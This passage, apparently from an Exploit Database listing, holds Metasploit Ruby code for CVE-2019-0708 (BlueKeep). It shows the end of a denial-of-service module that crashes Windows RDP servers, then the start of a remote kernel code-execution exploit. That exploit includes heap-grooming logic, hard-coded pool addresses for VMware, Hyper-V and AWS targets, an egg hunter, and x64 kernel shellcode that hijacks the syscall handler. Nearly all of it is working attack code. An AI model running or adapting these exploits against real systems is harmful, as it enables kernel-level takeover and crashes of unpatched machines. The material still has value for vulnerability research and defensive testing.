"\x01\x00\x14\x00\x15\x00" +
"\x09\x00" + # capabilitySetType: 9 - TS_SHARE_CAPABILITYSET
"\x08\x00" + # lengthCapability: 8
"\x00\x00\x00\x00" +
"\x0d\x00" + # capabilitySetType: 13 - TS_INPUT_CAPABILITYSET
"\x58\x00" + # lengthCapability: 88
"\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00" +
"\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x0c\x00" + # capabilitySetType: 12 - TS_SOUND_CAPABILITYSET
"\x08\x00" + # lengthCapability: 8
"\x01\x00\x00\x00" +
"\x0e\x00" + # capabilitySetType: 14 - TS_FONT_CAPABILITYSET
"\x08\x00" + # lengthCapability: 8
"\x01\x00\x00\x00" +
"\x10\x00" + # capabilitySetType: 16 - TS_GLYPHCAChE_CAPABILITYSET
"\x34\x00" + # lengthCapability: 52
"\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00" +
"\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00" +
"\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00" +
"\x0f\x00" + # capabilitySetType: 15 - TS_BRUSH_CAPABILITYSET
"\x08\x00" + # lengthCapability: 8
"\x01\x00\x00\x00" +
"\x11\x00" + # capabilitySetType: ??
"\x0c\x00" + # lengthCapability: 12
"\x01\x00\x00\x00\x00\x28\x64\x00" +
"\x14\x00" + # capabilitySetType: ??
"\x0c\x00" + # lengthCapability: 12
"\x01\x00\x00\x00\x00\x00\x00\x00" +
"\x15\x00" + # capabilitySetType: ??
"\x0c\x00" + # lengthCapability: 12
"\x02\x00\x00\x00\x00\x0a\x00\x01" +
"\x1a\x00" + # capabilitySetType: ??
"\x08\x00" + # lengthCapability: 8
"\xaf\x94\x00\x00" +
"\x1c\x00" + # capabilitySetType: ??
"\x0c\x00" + # lengthCapability: 12
"\x12\x00\x00\x00\x00\x00\x00\x00" +
"\x1b\x00" + # capabilitySetType: ??
"\x06\x00" + # lengthCapability: 6
"\x01\x00" +
"\x1e\x00" + # capabilitySetType: ??
"\x08\x00" + # lengthCapability: 8
"\x01\x00\x00\x00" +
"\x18\x00" + # capabilitySetType: ??
"\x0b\x00" + # lengthCapability: 11
"\x02\x00\x00\x00\x03\x0c\x00" +
"\x1d\x00" + # capabilitySetType: ??
"\x5f\x00" + # lengthCapability: 95
"\x02\xb9\x1b\x8d\xca\x0f\x00\x4f\x15\x58\x9f\xae\x2d\x1a\x87\xe2" +
"\xd6\x01\x03\x00\x01\x01\x03\xd4\xcc\x44\x27\x8a\x9d\x74\x4e\x80" +
"\x3c\x0e\xcb\xee\xa1\x9c\x54\x05\x31\x00\x31\x00\x00\x00\x01\x00" +
"\x00\x00\x25\x00\x00\x00\xc0\xcb\x08\x00\x00\x00\x01\x00\xc1\xcb" +
"\x1d\x00\x00\x00\x01\xc0\xcf\x02\x00\x08\x00\x00\x01\x40\x00\x02" +
"\x01\x01\x01\x00\x01\x40\x00\x02\x01\x01\x04"
## type = 0x13 = TS_PROTOCOL_VERSION | PDUTYPE_CONFIRMACTIVEPDU
return(rdp_build_share_control_header(0x13, pdu))
end
## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5186005a-36f5-4f5d-8c06-968f28e2d992
## Client Synchronize - TS_SYNCHRONIZE_PDU - 2.2.1.19 / 2.2.14.1
def pdu_client_synchronize(target_user = 0)
pdu = "\x01\x00" + # messageType: 1 SYNCMSGTYPE_SYNC
[target_user].pack("S<") # targetUser, 16 bit, unsigned.
## pduType2 = 0x1f = 31 - PDUTYPE2_SCYNCHRONIZE
data_header = rdp_build_share_data_header(0x1f, pdu)
## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end
## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9d1e1e21-d8b4-4bfd-9caf-4b72ee91a7135
## Control Cooperate - TC_CONTROL_PDU 2.2.1.15
def pdu_client_control_cooperate()
pdu = "\x04\x00" + # action: 4 - CTRLACTION_COOPERATE
"\x00\x00" + # grantId: 0
"\x00\x00\x00\x00" # controlId: 0
## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL
data_header = rdp_build_share_data_header(0x14, pdu)
## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end
## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4f94e123-970b-4242-8cf6-39820d8e3d35
## Control Request - TC_CONTROL_PDU 2.2.1.16
def pdu_client_control_request()
pdu = "\x01\x00" + # action: 1 - CTRLACTION_REQUEST_CONTROL
"\x00\x00" + # grantId: 0
"\x00\x00\x00\x00" # controlId: 0
## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL
data_header = rdp_build_share_data_header(0x14, pdu)
## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end
## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/ff7f06f8-0dcf-4c8d-be1f-596ae60c4396
## Client Input Event Data - TS_INPUT_PDU_DATA - 2.2.8.1.1.3.1
def pdu_client_input_event_sychronize()
pdu = "\x01\x00" + # numEvents: 1
"\x00\x00" + # pad2Octets
"\x00\x00\x00\x00" + # eventTime
"\x00\x00" + # messageType: 0 - INPUT_EVENT_SYNC
## TS_SYNC_EVENT 202.8.1.1.3.1.1.5
"\x00\x00" + # pad2Octets
"\x00\x00\x00\x00" # toggleFlags
## pduType2 = 0x1c = 28 - PDUTYPE2_INPUT
data_header = rdp_build_share_data_header(0x1c, pdu)
## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end
## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7067da0d-e318-4464-88e8-b11509cf0bd9
## Client Font List - TS_FONT_LIST_PDU - 2.2.1.18
def pdu_client_font_list()
pdu = "\x00\x00" + # numberFonts: 0
"\x00\x00" + # totalNumberFonts: 0
"\x03\x00" + # listFlags: 3 (FONTLIST_FIRST | FONTLIST_LAST)
"\x32\x00" # entrySize: 50
## pduType2 = 0x27 = 29 - PDUTYPE2_FONTLIST
data_header = rdp_build_share_data_header(0x27, pdu)
## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end
# ------------------------------------------------------------------------- #
def crash_test(rc4enckey, hmackey)
begin
received = ""
for i in 0..5
received += rdp_recv()
end
rescue RdpCommunicationError
# we don't care
end
vprint_status("Sending DoS payload")
found = false
for j in 0..15
## x86_payload:
rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000020000000000000"].pack("H*")), rc4enckey, hmackey, "\x03\xef"))
## x64_payload:
rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000000000000200000"].pack("H*")), rc4enckey, hmackey, "\x03\xef"))
end
end
def produce_dos()
unless(rdp_connection_initiation())
vprint_status("Could not connect to RDP.")
return(false)
end
vprint_status("Sending initial client data")
received = rdp_sendrecv(pdu_connect_initial(RDPConstants::PROTOCOL_RDP, datastore['RDP_CLIENT_NAME']))
rsmod, rsexp, rsran, server_rand, bitlen = rdp_parse_connect_response(received)
vprint_status("Sending erect domain request")
rdp_send(pdu_erect_domain_request())
vprint_status("Sending attach user request")
received = rdp_sendrecv(pdu_attach_user_request())
user1 = received[9, 2].unpack("n").first
[1003, 1004, 1005, 1006, 1007].each do | chan |
rdp_sendrecv(pdu_channel_request(user1, chan))
end
## 5.3.4 Client Random Value
client_rand = ''
32.times { client_rand << rand(0..255) }
rcran = bytes_to_bignum(client_rand)
vprint_status("Sending security exchange PDU")
rdp_send(pdu_security_exchange(rcran, rsexp, rsmod, bitlen))
## We aren't decrypting anything at this point. Leave the variables here
## to make it easier to understand in the future.
rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand)
vprint_status("RC4_ENC_KEY: #{bin_to_hex(rc4encstart)}")
vprint_status("RC4_DEC_KEY: #{bin_to_hex(rc4decstart)}")
vprint_status("HMAC_KEY: #{bin_to_hex(hmackey)}")
vprint_status("SESS_BLOB: #{bin_to_hex(sessblob)}")
rc4enckey = RC4.new(rc4encstart)
vprint_status("Sending client info PDU") # TODO
pdu = pdu_client_info(datastore['RDP_USER'], datastore['RDP_DOMAIN'], datastore['RDP_CLIENT_IP'])
received = rdp_sendrecv(rdp_build_pkt(pdu, rc4enckey, hmackey, "\x03\xeb", true))
vprint_status("Received License packet")
rdp_recv()
vprint_status("Sending client confirm active PDU")
rdp_send(rdp_build_pkt(pdu_client_confirm_active(), rc4enckey, hmackey))
vprint_status("Sending client synchronize PDU")
rdp_send(rdp_build_pkt(pdu_client_synchronize(1009), rc4enckey, hmackey))
vprint_status("Sending client control cooperate PDU")
rdp_send(rdp_build_pkt(pdu_client_control_cooperate(), rc4enckey, hmackey))
vprint_status("Sending client control request control PDU")
rdp_send(rdp_build_pkt(pdu_client_control_request(), rc4enckey, hmackey))
vprint_status("Sending client input sychronize PDU")
rdp_send(rdp_build_pkt(pdu_client_input_event_sychronize(), rc4enckey, hmackey))
vprint_status("Sending client font list PDU")
rdp_send(rdp_build_pkt(pdu_client_font_list(), rc4enckey, hmackey))
vprint_status("Sending close mst120 PDU")
crash_test(rc4enckey, hmackey)
vprint_status("Sending client disconnection PDU")
rdp_send(rdp_build_data_tpdu("\x21\x80"))
return(true)
end
# ------------------------------------------------------------------------- #
def run_host(ip)
## Allow the run command to call the check command.
begin
if(open_connection())
status = produce_dos()
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e
bt = e.backtrace.join("\n")
vprint_error("Unexpected error: #{e.message}")
vprint_line(bt)
elog("#{e.message}\n#{bt}")
rescue RdpCommunicationError => e
vprint_error("Error communicating RDP protocol.")
status = Exploit::CheckCode::Unknown
rescue Errno::ECONNRESET => e # NLA?
vprint_error("Connection reset, possible NLA is enabled.")
rescue => e
bt = e.backtrace.join("\n")
vprint_error("Unexpected error: #{e.message}")
vprint_line(bt)
elog("#{e.message}\n#{bt}")
ensure
if(status == true)
sleep(1)
unless(open_connection())
print_good("The host is crashed!")
else
print_bad("The DoS has been sent but the host is already connected!")
end
end
disconnect()
end
end
end
Exploit Database EDB-ID : 47416
Date de publication : 2019-09-23 22:00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# Exploitation and Caveats from zerosum0x0:
#
# 1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.
# 2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)
# 3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120.
# 4. RDP has chunked messages, so we use this to groom.
# a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.
# b. However, on 7+, MS_T120 will not work and you have to use RDPSND.
# i. RDPSND only works when
# HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0
# ii. This registry key is not a default setting for server 2008 R2.
# We should use alternate groom channels or at least detect the
# channel in advance.
# 5. Use chunked grooming to fit new data in the freed channel, account for
# the allocation header size (like 0x38 I think?). At offset 0x100? is where
# the "call [rax]" gadget will get its pointer from.
# a. The NonPagedPool (NPP) starts at a fixed address on XP-7
# i. Hot-swap memory is another problem because, with certain VMWare and
# Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP
# start. This can be anywhere from 100 mb to gigabytes of offset
# before the NPP start.
# b. Set offset 0x100 to NPPStart+SizeOfGroomInMB
# c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need
# [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an
# indirect call
# d. We are limited to 0x400 payloads by channel chunk max size. My
# current shellcode is a twin shellcode with eggfinders. I spam the
# kernel payload and user payload, and if user payload is called first it
# will egghunt for the kernel payload.
# 6. After channel hole is filled and the NPP is spammed up with shellcode,
# trigger the free by closing the socket.
#
# TODO:
# * Detect OS specifics / obtain memory leak to determine NPP start address.
# * Write the XP/2003 portions grooming MS_T120.
# * Detect if RDPSND grooming is working or not?
# * Expand channels besides RDPSND/MS_T120 for grooming.
# See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/
#
# https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming
# MS_T120 on XP... should be same process as the RDPSND
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
USERMODE_EGG = 0xb00dac0fefe31337
KERNELMODE_EGG = 0xb00dac0fefe42069
CHUNK_SIZE = 0x400
HEADER_SIZE = 0x48
include Msf::Exploit::Remote::RDP
include Msf::Exploit::Remote::CheckScanner
def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',
'Description' => %q(
The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,
allowing a malformed Disconnect Provider Indication message to cause use-after-free.
With a controllable data/size remote nonpaged pool spray, an indirect call gadget of
the freed channel is used to achieve arbitrary code execution.
),
'Author' =>
[
'Sean Dillon <
[email protected]>', # @zerosum0x0 - Original exploit
'Ryan Hanson', # @ryHanson - Original exploit
'OJ Reeves <
[email protected]>', # @TheColonial - Metasploit module
'Brent Cook <
[email protected]>', # @busterbcook - Assembly whisperer
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-0708'],
['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => 5,
'RDP_CLIENT_NAME' => 'ethdev',
'CheckScanner' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep'
},
'Privileged' => true,
'Payload' =>
{
'Space' => CHUNK_SIZE - HEADER_SIZE,
'EncoderType' => Msf::Encoder::Type::Raw,
},
'Platform' => 'win',
'Targets' =>
[
[
'Automatic targeting via fingerprinting',
{
'Arch' => [ARCH_X64],
'FingerprintOnly' => true
},
],
#
#
# Windows 2008 R2 requires the following registry change from default:
#
# [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd]
# "fDisableCam"=dword:00000000
#
[
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8003800000,
'GROOMSIZE' => 100
}
],
[
# This works with Virtualbox 6
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8002407000
}
],
[
# This address works on VMWare 14
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8030c00000
}
],
[
# This address works on VMWare 15
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8018C00000
}
],
[
# This address works on VMWare 15.1
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8018c08000
}
],
[
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8102407000
}
],
[
'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'GROOMBASE' => 0xfffffa8018c08000
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 14 2019',
'Notes' =>
{
'AKA' => ['Bluekeep']
}
))
register_advanced_options(
[
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]),
OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]),
OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]),
]
)
end
def exploit
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
if target['FingerprintOnly']
fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually')
end
begin
rdp_connect
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
end
is_rdp, server_selected_proto = rdp_check_protocol
unless is_rdp
fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
end
# We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us
# from exploiting the target.
if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto)
fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.')
end
chans = [
['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP],
[datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
[datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
]
@mst120_chan_id = 1004 + chans.length - 1
unless rdp_negotiate_security(chans, server_selected_proto)
fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.')
end
rdp_establish_session
rdp_dispatch_loop
end
private
# This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is
# received on a channel, and this is when we need to kick off our exploit.
def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data)
# We have to do the default behaviour first.
super(pkt, user, chan_id, flags, data)
groom_size = datastore['GROOMSIZE']
pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size)
groom_chan_count = datastore['GROOMCHANNELCOUNT']
payloads = create_payloads(pool_addr)
print_status("Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.")
target_channel_id = chan_id + 1
spray_buffer = create_exploit_channel_buffer(pool_addr)
spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF)
free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80
print_status("Surfing channels ...")
rdp_send(spray_channel * 1024)
rdp_send(free_trigger)
chan_surf_size = 0x421
spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min
chan_surf_packet = spray_channel * spray_packets
chan_surf_count = chan_surf_size / spray_packets
chan_surf_count.times do
rdp_send(chan_surf_packet)
end
print_status("Lobbing eggs ...")
groom_mb = groom_size * 1024 / payloads.length
groom_mb.times do
tpkts = ''
for c in 0..groom_chan_count
payloads.each do |p|
tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF)
end
end
rdp_send(tpkts)
end
# Terminating and disconnecting forces the USE
print_status("Forcing the USE of FREE'd object ...")
rdp_terminate
rdp_disconnect
end
# Helper function to create the kernel mode payload and the usermode payload with
# the egg hunter prefix.
def create_payloads(pool_address)
begin
[kernel_mode_payload, user_mode_payload].map { |p|
[
pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg
p
].pack('<Qa*').ljust(CHUNK_SIZE - HEADER_SIZE, "\x00")
}
rescue => ex
print_error("#{ex.backtrace.join("\n")}: #{ex.message} (#{ex.class})")
end
end
def assemble_with_fixups(asm)
# Rewrite all instructions of form 'lea reg, [rel label]' as relative
# offsets for the instruction pointer, since metasm's 'ModRM' parser does
# not grok that syntax.
lea_rel = /lea+\s(?<dest>\w{2,3}),*\s\[rel+\s(?<label>[a-zA-Z_].*)\]/
asm.gsub!(lea_rel) do |match|
match = "lea #{$1}, [rip + #{$2}]"
end
# metasm encodes all rep instructions as repnz
# https://github.com/jjyg/metasm/pull/40
asm.gsub!(/rep+\smovsb/, 'db 0xf3, 0xa4')
encoded = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encoded
# Fixup above rewritten instructions with the relative label offsets
encoded.reloc.each do |offset, reloc|
target = reloc.target.to_s
if encoded.export.key?(target)
# Note: this assumes the address we're fixing up is at the end of the
# instruction. This holds for 'lea' but if there are other fixups
# later, this might need to change to account for specific instruction
# encodings
if reloc.type == :i32
instr_offset = offset + 4
elsif reloc.type == :i16
instr_offset = offset + 2
end
encoded.fixup(target => encoded.export[target] - instr_offset)
else
raise "Unknown symbol '#{target}' while resolving relative offsets"
end
end
encoded.fill
encoded.data
end
# The user mode payload has two parts. The first is an egg hunter that searches for
# the kernel mode payload. The second part is the actual payload that's invoked in
# user land (ie. it's injected into spoolsrv.exe). We need to spray both the kernel
# and user mode payloads around the heap in different packets because we don't have
# enough space to put them both in the same chunk. Given that code exec can result in
# landing on the user land payload, the egg is used to go to a kernel payload.
def user_mode_payload
asm = %Q^
_start:
lea rcx, [rel _start]
mov r8, 0x#{KERNELMODE_EGG.to_s(16)}
_egg_loop:
sub rcx, 0x#{CHUNK_SIZE.to_s(16)}
sub rax, 0x#{CHUNK_SIZE.to_s(16)}
mov rdx, [rcx - 8]
cmp rdx, r8
jnz _egg_loop
jmp rcx
^
egg_loop = assemble_with_fixups(asm)
# The USERMODE_EGG is required at the start as well, because the exploit code
# assumes the tag is there, and jumps over it to find the shellcode.
[
USERMODE_EGG,
egg_loop,
USERMODE_EGG,
payload.raw
].pack('<Qa*<Qa*')
end
def kernel_mode_payload
# Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya
#
# This shellcode was written originally for eternalblue exploits
# eternalblue_exploit7.py and eternalblue_exploit8.py
#
# Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)
#
# Note:
# - The userland shellcode is run in a new thread of system process.
# If userland shellcode causes any exception, the system process get killed.
# - On idle target with multiple core processors, the hijacked system call
# might take a while (> 5 minutes) to get called because the system
# call may be called on other processors.
# - The shellcode does not allocate shadow stack if possible for minimal shellcode size.
# This is ok because some Windows functions do not require a shadow stack.
# - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.
# Note: the Windows 8 version macros are removed below
# - The userland payload MUST be appened to this shellcode.
#
# References:
# - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
# - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c
data_kapc_offset = 0x10
data_nt_kernel_addr_offset = 0x8
data_origin_syscall_offset = 0
data_peb_addr_offset = -0x10
data_queueing_kapc_offset = -0x8
hal_heap_storage = 0xffffffffffd04100
# These hashes are not the same as the ones used by the
# Block API so they have to be hard-coded.
createthread_hash = 0x835e515e
keinitializeapc_hash = 0x6d195cc4
keinsertqueueapc_hash = 0xafcc4634
psgetcurrentprocess_hash = 0xdbf47c78
psgetprocessid_hash = 0x170114e1
psgetprocessimagefilename_hash = 0x77645f3f
psgetprocesspeb_hash = 0xb818b848
psgetthreadteb_hash = 0xcef84c3e
spoolsv_exe_hash = 0x3ee083d8
zwallocatevirtualmemory_hash = 0x576e99ea
asm = %Q^
shellcode_start:
nop
nop
nop
nop
; IRQL is DISPATCH_LEVEL when got code execution
push rbp
call set_rbp_data_address_fn
; read current syscall
mov ecx, 0xc0000082
rdmsr
; do NOT replace saved original syscall address with hook syscall
lea r9, [rel syscall_hook]
cmp eax, r9d
je _setup_syscall_hook_done
; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize
cmp dword [rbp+#{data_origin_syscall_offset}], eax
je _hook_syscall
; save original syscall
mov dword [rbp+#{data_origin_syscall_offset}+4], edx
mov dword [rbp+#{data_origin_syscall_offset}], eax
; first time on the target
mov byte [rbp+#{data_queueing_kapc_offset}], 0
_hook_syscall:
; set a new syscall on running processor
; setting MSR 0xc0000082 affects only running processor
xchg r9, rax
push rax
pop rdx ; mov rdx, rax
shr rdx, 32
wrmsr
_setup_syscall_hook_done:
pop rbp
;--------------------- HACK crappy thread cleanup --------------------
; This code is effectively the same as the epilogue of the function that calls
; the vulnerable function in the kernel, with a tweak or two.
; TODO: make the lock not suck!!
mov rax, qword [gs:0x188]
add word [rax+0x1C4], 1 ; KeGetCurrentThread()->KernelApcDisable++
lea r11, [rsp+0b8h]
xor eax, eax
mov rbx, [r11+30h]
mov rbp, [r11+40h]
mov rsi, [r11+48h]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
;--------------------- END HACK crappy thread cleanup
;========================================================================
; Find memory address in HAL heap for using as data area
; Return: rbp = data address
;========================================================================
set_rbp_data_address_fn:
; On idle target without user application, syscall on hijacked processor might not be called immediately.
; Find some address to store the data, the data in this address MUST not be modified
; when exploit is rerun before syscall is called
;lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000]
; ------ HACK rbp wasnt valid!
mov rbp, #{hal_heap_storage} ; TODO: use some other buffer besides HAL heap??
; --------- HACK end rbp
_set_rbp_data_address_fn_next:
;shr rbp, 12
;shl rbp, 12
;sub rbp, 0x70 ; for KAPC struct too
ret
;int 3
;call $+5
;pop r13
syscall_hook:
swapgs
mov qword [gs:0x10], rsp
mov rsp, qword [gs:0x1a8]
push 0x2b
push qword [gs:0x10]
push rax ; want this stack space to store original syscall addr
; save rax first to make this function continue to real syscall
push rax
push rbp ; save rbp here because rbp is special register for accessing this shellcode data
call set_rbp_data_address_fn
mov rax, [rbp+#{data_origin_syscall_offset}]
add rax, 0x1f ; adjust syscall entry, so we do not need to reverse start of syscall handler
mov [rsp+0x10], rax
; save all volatile registers
push rcx
push rdx
push r8
push r9
push r10
push r11
; use lock cmpxchg for queueing APC only one at a time
xor eax, eax
mov dl, 1
lock cmpxchg byte [rbp+#{data_queueing_kapc_offset}], dl
jnz _syscall_hook_done
;======================================
; restore syscall
;======================================
; an error after restoring syscall should never occur
mov ecx, 0xc0000082
mov eax, [rbp+#{data_origin_syscall_offset}]
mov edx, [rbp+#{data_origin_syscall_offset}+4]
wrmsr
; allow interrupts while executing shellcode
sti
call r3_to_r0_start
cli
_syscall_hook_done:
pop r11
pop r10
pop r9
pop r8
pop rdx
pop rcx
pop rbp
pop rax
ret
r3_to_r0_start:
; save used non-volatile registers
push r15
push r14
push rdi
push rsi
push rbx
push rax ; align stack by 0x10
;======================================
; find nt kernel address
;======================================
mov r15, qword [rbp+#{data_origin_syscall_offset}] ; KiSystemCall64 is an address in nt kernel
shr r15, 0xc ; strip to page size
shl r15, 0xc
_x64_find_nt_walk_page:
sub r15, 0x1000 ; walk along page size
cmp word [r15], 0x5a4d ; 'MZ' header
jne _x64_find_nt_walk_page
; save nt address for using in KernelApcRoutine
mov [rbp+#{data_nt_kernel_addr_offset}], r15
;======================================
; get current EPROCESS and ETHREAD
;======================================
mov r14, qword [gs:0x188] ; get _ETHREAD pointer from KPCR
mov edi, #{psgetcurrentprocess_hash}
call win_api_direct
xchg rcx, rax ; rcx = EPROCESS
; r15 : nt kernel address
; r14 : ETHREAD
; rcx : EPROCESS
;======================================
; find offset of EPROCESS.ImageFilename
;======================================
